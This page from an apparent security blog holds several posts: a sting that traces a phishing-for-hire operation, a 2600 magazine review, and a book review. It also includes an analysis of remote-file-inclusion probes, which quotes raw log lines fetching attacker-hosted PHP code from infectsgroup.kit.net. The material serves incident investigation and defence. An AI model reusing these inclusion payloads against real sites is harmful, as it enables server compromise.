A week ago on the BinRev forums, a link was posted to a site that advertised the ability of the owners to hack any web-based email account. The link was to crackmails.net, however the same site was also available at yourhackers.net and hackpasswords.net (and perhaps more). The cost of this service was $100 per account, and (this is the great part) they would provide proof to you that they had hacked the target account with a screenshot of the inbox. Only then would you have to pay to receive the . You probably know what I was thinking when I read this already ;) .

Here’s what the main page looked like:

I created a new email address on Gmail, with the name of a recent, but inactive, troll on the forums (so there’d be a few things in Google if they decided to do their research). Then, I filled out their order form with the information in the screenshot below, asking them to attack my own Gmail account, wesleymcgrew@gmail.com . I had to give them something that didn’t look as much like a dummy account. Besides, it’s funnier this way. I had a lot of fun filling out the form asking why they should hack my Gmail account ;) :

A short while later, I received an automated mail confirming my order (very professional!) in my dummy account’s inbox:

A full day later, I received the following phishing mail in my own Gmail account:

A plaintext copy of this email with full headers is available here for those who love to dig :) . I suppose they got around Gmail’s filters by being such a small operation. Does anyone really trust 123greetings-type emails anymore? I guess they must. Notice the domain name 123greetingsline.com, and the just-for-me unique URL. I tried modifying the URL, however it seems like they just generate the files as-needed when they receive an order.

Clicking on the link takes you to the phishing site itself:

Here’s the source for the login form:

For all the domain names they have, and all the web hosts they’ve been using, they had to resort to using a form mail script and leave the email addresses they use for harvesting out in the open. Hilarious.

If you’re a regular reader of this blog, you already know what I like to do with phishing sites (read up here if you’re not familiar with the technique I use to set up web bugs for catching phishers unaware). This one is no exception, so I set up a unique image and page on my site here to use with a web bug. Then I fill out the form fields with the html needed to try and render the image and link to the unique URL:

Once that was submitted, it actually went through the trouble of redirecting me to the real 123greetings for a nice card:

I set up tail and grep to look for a hit to either of the unique URLs I set up, and a day later I got the hit:

81.129.180.36 - - [23/Oct/2007:12:23:19 -0400]
"GET /XXXXXXXXXXXXXXX>HAY</a&gt HTTP/1.1" 404 245
"http://desigubshup.com:2095/horde/imp/message.php?index=245"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1;
.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506;
InfoPath.2)"

So, here you have the IP address (resolves to one of btcentralplus.com’s customers), which at a glance didn’t appear to be running any sort of open proxy, a referral URL revealing where and how they’re checking their mail (there might be somewhere around 244 other victims, judging from the mail ID), and a nice long user agent string. Judging by the mangled end of the request, my web bugs didn’t render very well within IMP, however the phisher was dumb enough to click on the link anyway. This is the reason I try to put HTML links in along with normal image-based web bugs, and you’d be amazed at how often this happens.

I sent a couple of emails to them inquiring about the status of my order. Unfortunately, I haven’t heard back from them. As of a day or two ago, the sites they were advertising their services on look like this:

I’m sure they’re not very happy about that. Maybe they’ll find this post and leave us a comment bringing us up to speed on their situation ;) .

 

I came home to this today:

Apparently, UPS felt the need to hide their delivery under our welcome mat. I’m sure nobody else in the apartment complex suspected a thing ;) .

I don’t mind, though, because the payload was my copy of “The Web Application Hacker’s Handbook: Discovering and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto! I’m very excited about reading through this and posting a review here for my dear readers. It turns out that Stuttard is the guy who wrote Burp Suite, so now I’m even more excited about looking at this book. A review should be posted soon, depending on how many hours of reading I can sneak in.

 

For the summer issue of 2600, I decided to write an article-by-article review of the magazine, which you can read here. It turned out to be one of the more popular posts I’ve made, and it was fun to write. With this in mind, I’ve decided to do it again, with the Autumn issue that was released several days ago. One thing I can say about 2600 is that there’s a lot of content in each issue, so this is a long post :) :

Politics

In this issue’s introductory article, Emmanuel responds to one of the most common criticisms of 2600: that the magazine focuses too much on politics and runs light on technical content. You’ve probably heard this criticism before, from me, or someone else you know. Emmanuel defends the 2600 approach by stating that they will not prevent people from expressing their opinions, that these opinions are important to the hacker community, and they make the magazine what it is today. I can understand this, however I do think that the liberal slant the magazine often takes can alienate more conservative readers, or readers, like myself, that prefer to be presented the facts and form opinions for themselves.

I can’t deny, however, that it is what makes 2600 the magazine that it is.

VoIP Security: Shit or Get off the POTS

This article serves as a decent summary of the risks of implementing VoIP in an organization. Reid demonstrates some pretty good structure for his article, by having a separate section and summary for each risk. He recommends various tools, and it seems like it’s a good article for someone getting started in VoIP security.

Getting More Out of Your College Linux System

Silent Strider brings us the first article of this issue that really illustrates some reasons many people criticize 2600. We have a perfect combination of common 2600 themes: school hacking, a perception of being “better” than normal users with regard to policy, and advice that is so tinted by the writer’s experiences with one system that it’s of limited use to anything else. The article begins with some paranoia about trojans and keeping an eye on who else is logged onto the system, then moves into describing ways to avoid quotas and needlessly waste RAM by setting mplayer’s cache size too high.

The article can be summed up with one quote: “Remember, you are not an average user. Limits do not apply to you.”. I would recommend hanging onto this article so that you can present it to your school’s IT staff when they round you up for being a nuisance on school-provided computers. They may not realize that you are so above-average.

Social Engineering and Pretexts

This article, by Poacher, is in stark contrast with the one before it. Rather than showing you all of the stereotypical elements of a 2600 article, you get to see something you don’t see often in 2600 articles: an author that is in a position to know a lot about what he’s writing. Poacher describes his career, from being a store detective, to a private investigator, and gives a lot of great anecdotal advice and stories about social engineering along the way. He approaches the subject in a very realistic way, and I personally enjoyed reading it.

Telecom Informer

Another guy who is in a position to know what he’s writing about, The Prophet returns in this issue, like every other issue, with a well-written telecommunications article. While it’s not exactly insider-knowledge this time around, his discussion of the history and purposes of PBX systems and their significance to phone phreaks is entertaining. If you’re new to the topic, you’re sure to learn a bit.

Language Nonspecific: Back to Fundamentals

The most important message to take away form kn1ghtl0rd’s article is that once you have learned how to write code in one language, it’s much easier to pick up other languages. On this, his main premise, I agree. I do, however, disagree with many of the points and statements used to support it.

I do not feel like there’s the sort of animosity or “divided front” between .NET programmers and the rest of the world, outside of people arguing on the Internet. The examples, while basic, discuss concepts that are not going to be understood by the target audience: people who are deciding on a first language. Some statements, such as “Every data type, whether they are integers or strings or Boolean, are all classes.” don’t apply to all languages in the way he’s implying. Others, like “a computer program ends up being the same thing after compiling, no matter what language you are using.”, are just plain wrong.

It’s an article with a good idea, but put together more as a rant than actually illustrating the ease one can go from one language to another.

Front Door Hacking: Redux

Darkarchives continues where an article written by Cliff leaves off. Yes, the same Cliff that brought you the “Discovering Vulns” in the last issue. Yes, the same article that a locksmith poked at disapprovingly in the last issue’s letters to the editor.

If you don’t already know about “bump keys”, this article isn’t going to be of much help, other than a pixelated and unlabeled drawing of one. There is some discussion of a “minimal movement” method, but the majority of the rest of the article is a warning to not bump an in-use lock (you’ll screw it up), what to hit it with (a screwdriver), and a recommendation on what lock brand to try it on (Kwikset).

If you absolutely needed another article on bump keys, then I suppose this is alright. It doesn’t seem to further the art or illustrate anything new, though.

A Penny For Your Laptop

Atom Smasher demonstrates a very simple vulnerability in the Kensington Micro-Saver Notebook Lock. Apparently it can be unlocked very simply, quickly, and without destroying the lock or computer by using a coin to add tension, and spinning the dials until they stick. I don’t have the lock, so I am not able to verify that it works, but the article is clearly written, informative, and he even suggests a solution to the problem.

The RIAA’s War on Terror

Glider’s article reads like an extended mix of a Slashdot story comment, telling someone how they should do business. If RIAA moves slow, it’s because they’ve figured out that they’re making penty of money moving the way they are. This article has the bonus of comparing RIAA tactics to those of the current administration’s War on Terror. Never mind how accurate that comparison may or may not be, it will certainly strike a chord with 2600 readers that follow the politics of the magazine.

I’d personally rather see an article focused less on telling the RIAA what to do, and more on telling people how they can shift their support towards artists that don’t fall under the RIAA. Empower people to make a choice.

Free Files from Flash

Dieseldragon does a pretty good job of demonstrating how easy it usually is to rip media files that Flash-based players on the web use. It’s a little sparse on details, and he gets a little confused about the .flv format, but it’s not hard to follow, it’s an easy trick, and it’s hard to cram much into a short article. This article is a good demonstration of the usual 2600 flip-flop disclaimer. Let’s follow along, with some commentary:

  • “Please don’t steal copyrighted works.”

    • Ok. Fair enough.
  • “If you like to download music, please consider this method…”
    • Wait, but…
  • “(And buy the CD for copyright/royalty purposes of course!)…”
    • Oh. Of course! Wait… if you buy the CD, you could just rip your own mp3 copy of a much higher quality (a lot of flash is dirty 64kbps mono)
  • “F-you to Apple iTunes for ripping artists off much worsethan bedroom pirates and ‘those hackers’ ever did!”
    • iTunes has a lot of catching up to do to be on part with pirates. I’m not sure how that’s supposed to work anyway. I don’t see how you can be ripped off much worse than having your stuff downloaded with no compensation at all.

Target: For Credit Card Fraud

“Anonymous”, a former employee of Target, discloses a whole host of problems with the stores’ networks. The author claims that the Target wireless network is only protected by WEP, and that everything on that network has very obvious passwords with very open access to anything. He asks the reader not to do anything malicious with this, but not before giving a road map to the credit card transaction data stored on the registers. He even provides a batch file for gathering the payment data from the logs.

You know who else is likely to be sifting through logs right about now? Target admins.

How to Get More From Your Sugar-Mama

There are a lot of short, one-page articles this issue. In this one, gLoBuS reveals how to cheat Virgin Mobile’s ad-supported free minutes program, as well as how to send free text messages through one of Virgin’s web interfaces. Not the most altruistic or educational articles, but at least he’s not stealing credit card numbers like the previous author.

Owning UTStarcom F1000

Wifi VoIP phones are really cool. I don’t own one, but I might get one to play around with one day. ZiLg0 does a good job of giving an overview of how to unlock this specific model, and presents some references to more information. I had no idea you could buy these VoIP phones locked into specific providers, but it’s nice that there’s instructions like this for opening them up.

Hacker Perspective: You

This issue, instead of having an article written by a well-known hacker, Emmanuel sent out surveys to all of the subscribers of 2600, in order to try to demonstrate what the readership is like. The results are interesting. Several statistics about the responses are discussed, followed by the write-in comments of many responders taking up the rest of the article. It seems that there are just as many people who feel the magazine should be less technical and focus more on politics as those who feel the opposite way.

It really only represents the 15% of subscribers who could be bothered to fill it out and pay postage to send it back, but it’s an enjoyable read.

Hacking 2600 Magazine Authors

This is absolutely my favorite article in this issue. Agent Smith is a security guy at a company that was the focus of an article in a previous issue. In that issue, an author that Smith refers to as Neo revealed a vulnerability in Smith’s company, without first disclosing those vulnerabilities to the company in question. Smith gets the feeling that the article was written by an employee of the company and proceeds to investigate and find out who it is, through some clever investigative googling. It resulted in a firing and a visit by the feds for the original article’s author.

This had me laughing hard. It’s a perfect example of how bad operational security on the part of the bad guys often makes an investigator’s life pretty easy. I also enjoyed it, because at least I know now that I’m not the only guy who googles up 2600 authors just to see if they’re as anonymous as they think they are (most aren’t).

Designing a Hacker Challenge

Remember the scene in “Hackers”, where Crash Override and Acid Burn are trying to figure out who’s the best, and so the rest of the gang sets up a points-based challenge? Glutton is reliving that moment for us, with a hacker challenge he has designed to help you and your crew find out who is the best, and who dies like the rest. I can hear The Prodigy’s “Voodoo People” right now.

This is an unintentionally hilarious read, not to be missed. Be warned that it might land you in jail if you actually attempt some of the tasks. The author does state that you should not break laws for personal gain, or if you have a wife and/or kids dependent on you. Remember “Glutton”, because he’ll pop up later in the issue.

Hacking an Election

Dagfari, a former employee of Elections Manitoba, gives a good description of how provincial elections work in Canada. This is something I know nothing about, being in the southeastern US, so I thought it was interesting. There’s a little discussion of the technology involved, but the hack itself is not technical. Instead, it involves having corrupt people in charge of enumerating (registering) voters in each area. I’m not sure how feasible the attack is, but it’s well written.

How to Cheat Goog411

PhreakerD7 demonstrates how to make free calls using Google’s free 411 service (1-800-GOOG411). Google’s 411 service will connect you to businesses that it locates for you for free, and anyone who has a Google account can create a business listing. Therefore, free calls can be made through Google’s 411 by creating and modifying a business listing, and searching for it with the 1-800 number. It’s a clever trick, and the article is definitely of interest to anyone into phreaking.

Yammering

The letters to the editor are always very entertaining. It’s mostly people just like the article authors, only all pretenses of writing an article have been dropped. This month we have, among others:

  • A long rant about a husband checking up on his unfaithful wife
  • A recommendation for an anonymous email site that I might write a bit about in another post
  • Jason Scott, the hoarder of all text files and BBS nostalgia, calls out Glutton (“Hacker Challenge” guy) for writing a crap article on the bad shape the text-file scene is. The icing on the cake is that, in turn, Emmanuel lays into Jason for insulting the magazine and its writers. No telling what he’d think about my reviews.
  • A letter calling out Cliff for his article on bump keys, making this two issues in a row, followed by a letter from Cliff defending himself, with the atom bomb of counter-criticism, in essence: “Why don’t you write something?”.
  • A guy who pulled an FBI GPS tracker off his own bumper

Hacking the Buffalo Air Station Wireless Router

Wireless routers have default username/passwords! I doubt you’re very surprised by this. You can pretty much skip this one by Donoli.

The Thrill of Custom Caller ID Capabilities

This article, by krt, is supposed to present some of the things that are possible, if you have Caller ID spoofing set up. Unfortunately, it’s difficult to read and lacks any amount of detail. I’m pretty sure this is the sort of article people in the write-in survey were talking about when they complained about technical jargon.

Securing Your Traffic

Every couple of issues, there’s an article on how to tunnel all of your traffic through SSH, written by someone (b1tl0ck, this time) who wanted to access the internet from work without being filtered or spied on by the IT staff. This one’s not bad, although it’s lacking in detail. Network admins, set up some rules to detect outbound SSH on weird ports to look for people doing this ;) .

Transmissions

Dragorn discusses, briefly, the ethical implications of using open wireless access points, and then goes into the legal aspects of it. He cites several real cases and quotes from the laws that apply. There’s even a references section at the end! It’s not heavy-handed or slanted, and as such, is well worth reading.

Hacking the Nintendo WiFi USB Connector

I really enjoyed this article too. MS3FGX is very clear on how to modify drivers and software for this device to unlock its use as a general purpose USB WiFi device and access point. It reads well, the instructions are easy to follow, and the screenshots are very clear. I’m impressed to see that it can be used as a packet source for Kismet, and once there’s solid support for Master mode in Linux, I may pick up one.

Fun With International Internet Cafes

Route tells us a story of how he disabled the timer on an Internet cafe computer by removing it from the startup entries and rebooting. The software for this cafe was so bad that if you ran out of time in the middle of something, it would lock you out, and whoever logged in next would resume your interrupted session. No big surprise that there were so many problems with security, although that would depend on how well the systems were monitored physically (apparently not very well). The story is entertaining, but I’d imagine it would be of little use unless you run a system like this.

The Trouble With Library Records

Barrett Brown presents a bit of history behind INNOPAC, a popular library management system, which was interesting. I wasn’t very surprised by the vulnerability disclosed (employee logins over telnet), although maybe it would be interesting to someone who hasn’t had first-hand experience with similar systems. At least it’s easy to mitigate for the people who implement and administer INNOPAC systems. A bit of googling reveals that Barrett is the first and only author in this issue to actually use his real name other than an alias, which is very cool.

The Life and Death of an American Help Desk Agent

Geospart’s article is more of a rant than anything, however it’s a well-written rant. I would recommend anyone that’s interested in going into tech support give it a read. He gives a good summary of the different tiers of support, and does name names for a couple of the different companies he has worked for. Support has its own culture, will never be fair, and will always be about making money with as few resources as possible.

 

Finally, someone gets the point of this thing and starts some discussion about what this malware is doing scarily right, instead of dwelling on the fact that this week it is sending itself out as greeting cards or whatever. Does it surprise me that “someone” is Bruce Schneier? Not really :) , although it is a little more technical than his usual posts, which is a good thing:

http://www.schneier.com/blog/archives/2007/10/the_storm_worm.html

He discusses the decentralized command-and-control, plus a bit on the rate at which it spreads. This is the correct focus.

 

For some attackers, it’s just a matter of casting it out there to every possible target and hope something sticks. This sort of thing turns up fairly often in my logs, and probably yours too. This time, I’m going to use it to illustrate just how much intelligence you can gather about your attackers if you take some time to investigate. This particular example is a spectacular failure:


195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:27 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:31 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

I’m not even very sure what vulnerability they’re trying to exploit here, if any. It almost looks as though they were just testing out their script, and happened to think it was a good idea to run it against a website that specializes in various aspects of computer security. This tells you something about the attackers to start with.

I’m going to cover a few easy investigative tricks you can do to find out more about an attack like this. I’m going to write this as I do it, so information I discuss earlier may be proven wrong by the end of the post. This is intentional, as it’s important to show how theories are formed based on evidence and then thrown out when something is found to contradict them.

First, consider the IP address, 195.42.160.22 . Let’s see what we can find out from it:

  • It doesn’t show up in the logs anywhere else (nor does anything else 195.42.*.*)
    • Most of the traffic in the minutes leading up to the attack are RSS readers looking at the blog. There’s no apparent “looking around” type traffic coming from any other IP addresses in the minutes leading up to the attempts.
    • I wasn’t likely “chosen” for an attack so much as I was automatically spidered from a search query or other site.
  • The IP address reverse-DNS’s to wizard.dataforce.net . Dataforce is a Russian ISP.
    • Judging from the hostname, it seems like more of a server for the ISP than an individual’s workstation.
    • So, it’s probably a machine they’ve managed to hack with a similar exploit, and they’re branching out.
  • Looking on google, other sites’ logs and discussion reveal similar things coming from that IP address and host name:
    • Windows 98 user agent?
    • Attempts to grab lots of different php. Looks like attempts to find things they know how to RFI. As recent as in the past 24 hours.
    • Some more attempts at what they did on my site. At least these attempts are better formatted than the ones in my logs:
      • wizard.dataforce.net – - [02/Oct/2007:03:44:03 +0900] “GET /admin/index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
      • wizard.dataforce.net – - [02/Oct/2007:03:44:05 +0900] “GET /index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
    • This site appears to be hosted on wizard.dataforce.net. This supports the idea that this is a shared web host for the ISP’s customers.
    • Several other sites have exposed access_logs revealing connections from wizard.dataforce.net, and a handful of other apparent web hosts attempting to RFI the same “infect.jpg”. Examples were noticed where “infect.jpg” was downloaded from other sites, as well. This also supports the idea that this is a branching-out and spreading type of attack.

That’s a good bit of information to gather from one IP address :) . Next, let’s look at the payload, “http://www.infectsgroup.kit.net/infect.jpg”:

  • It’s not a real jpg of course. It’s PHP code. I’ve hosted it here, so you can take a look and follow along. I’ve taken out the opening and closing tags, so it’s not effective for remote-inclusion off of my own site ;)
  • Once you take the code and reformat it, you’ll see that it’s designed to spit out a few bits of information about the server, then attempt to run the “id” command to get the current user ID.
    • There’s a big “ex()” function that tries to execute the command in many different ways.
    • This code doesn’t really “do” much, but the results it spits back can be processed to determine if a server running an app vulnerable to RFI has been found. Presumably if it finds something, their script either saves the results in a report, or immediately moves to install a proper backdoor PHP shell.
  • Looks like some french-speaking folk ran across it the other day
  • The author of the script has been busy defacing websites (registration required, and I highly recommend it)
    • Defacing in the name Kurdistan Security Team (with very slick ascii art!).

That about settles matters. For the sake of completion I searched through my logs for other connection that used the same User Agent string, “libwww-perl/5.48″. The only other connections were from another host just yesterday, attempting similar RFI attacks. The IP address turns out to be another shared host, in Germany this time, and the payload had already been taken down.

So what you see here is a shotgun approach to defacing a lot of pages and boosting their name up on Zone-H’s defacement archive. This is pretty basic stuff, but it’s a very interesting exercise to take a few log entries and expand out a profile for the attack and attackers. Hopefully you can apply this to your own incidents.

 
  • The Shellcoder’s Handbook, Discovering and Exploiting Security Holes, Second Edition
    • Chris Anley, John Heasman, Felix “FX” Linder, Gerardo Rircharte

    • Wiley Publishing
    • Released August 2007
    • 717 pages
    • ISBN: 978-0-470-08023-8

The $50 cover price of “The Shellcoder’s Handbook” is a real bargain, in the hands of a motivated self-learner, compared with the cost of equivalent training. The real cost of this book, will be in the time and effort you will need to apply for it to really sink in. This is what I discovered when I sat down to read this book: What you get out of it is a function of what you put in. Reading and reviewing this book took much longer than I had expected, but I can say that I really enjoyed it.

This is a book that expects a lot out of the reader, but it turns out to be very rewarding. I would recommend becoming comfortable with reading, writing, and debugging both C and assembly before taking on The Shellcoder’s Handbook. Readers should not expect to progress quickly either. For the concepts to really sink in, some experimentation and following-along is required. Even though the book contains more than 700 pages, it’s not exhaustive, so the references to papers, sites, and documentation are worth taking some time away from the book to follow. In exchange for all of this work, however, the reader is treated to learning a set of skills in a way that can help them follow along with the vulnerabilities disclosed and exploits published every day on lists like Full-Disclosure and sites like milw0rm.

The range of topics is vast. The introductory chapters cover the basics: stack overflows, developing shellcode, format string vulnerabilities, and heap overflows. After this, the pace quickly ramps up, covering exploit development on Windows, Solaris, OS X, and Cisco IOS (the latter two are new to this edition). Workarounds for various stack and heap protection methods are presented, and there are several chapters on the vulnerability discovery and exploit development process. These chapters include discussion on automated discovery through fuzzing, source code auditing, and reverse engineering. I found it useful to skim these chapters before reading some of the material in previous chapters, to keep the larger picture in my mind. Finishing up the book, there are a handful of “Advanced Materials” chapters that have some very interesting examples of different exploit payloads and discussion of kernel vulnerabilities.

While the book does present a lot of great topics to the reader, it does have some problems. In many examples, especially in introductory chapters, it would have helped to have had more information on what distribution and version of Linux had been used. At one point, Redhat 9 was mentioned for an example, although it must have been a custom kernel, as the default kernel from Redhat had a (admittedly simple) form of stack randomization that could not be turned off. I managed to get most examples working in Ubuntu 7.04, after turning off va_randomize, and playing with compiler options. Some simple googling of problems you run into, and taking good notes, will help on this.

While there are fewer errors than I remember there being in the first edition, there are still some that are likely to trip up or confuse the reader that is trying to work through every example. Table 4-1 on writing data with format string exploits comes to mind as a head-scratcher, and a program presented in the same chapter handles command-line arguments in a way that’s different from the examples that use it. Most problems seem to come from attempts to fix errors in the first edition, leaving some references to older material. It is a good exercise (and not impossibly hard) for the reader to do some research and experimentation to work through these errors, but some might find it frustrating. I can only imagine how difficult it must be to do a review of the technical accuracy of such a long book presenting so many in-depth topics.

To sum it up, despite minor issues, The Shellcoder’s Handbook is a must-have. it’s one of the few books on the topic of vulnerability discovery and exploit development, and I would say that it’s the best. If you’re already pretty good at this stuff, I would recommend taking a look at the table of contents, as I bet there’s something in the more advanced material that you would be interested in. If you already have the first edition, there is new content and some “bugfixes”, but it’s not as much of a slam dunk as it would be if you didn’t already have the first one. Take a look at it in a bookstore before buying it to see if it meets your expectations for buying it again. Anyone picking this up needs to be sure they’re ready to put some time and effort into it, and willing to put it down on occasion in order to do some reading and research on background material.

Personally, I love it. Even after reading it for this review, there are plenty of things I need to go back and get a better understanding of, experiment with, and try to get more comfortable with. It’ll have a permanent spot on my shelf as one of my favorite computer security books.

© 2012 McGrew Security Suffusion theme by Sayontan Sinha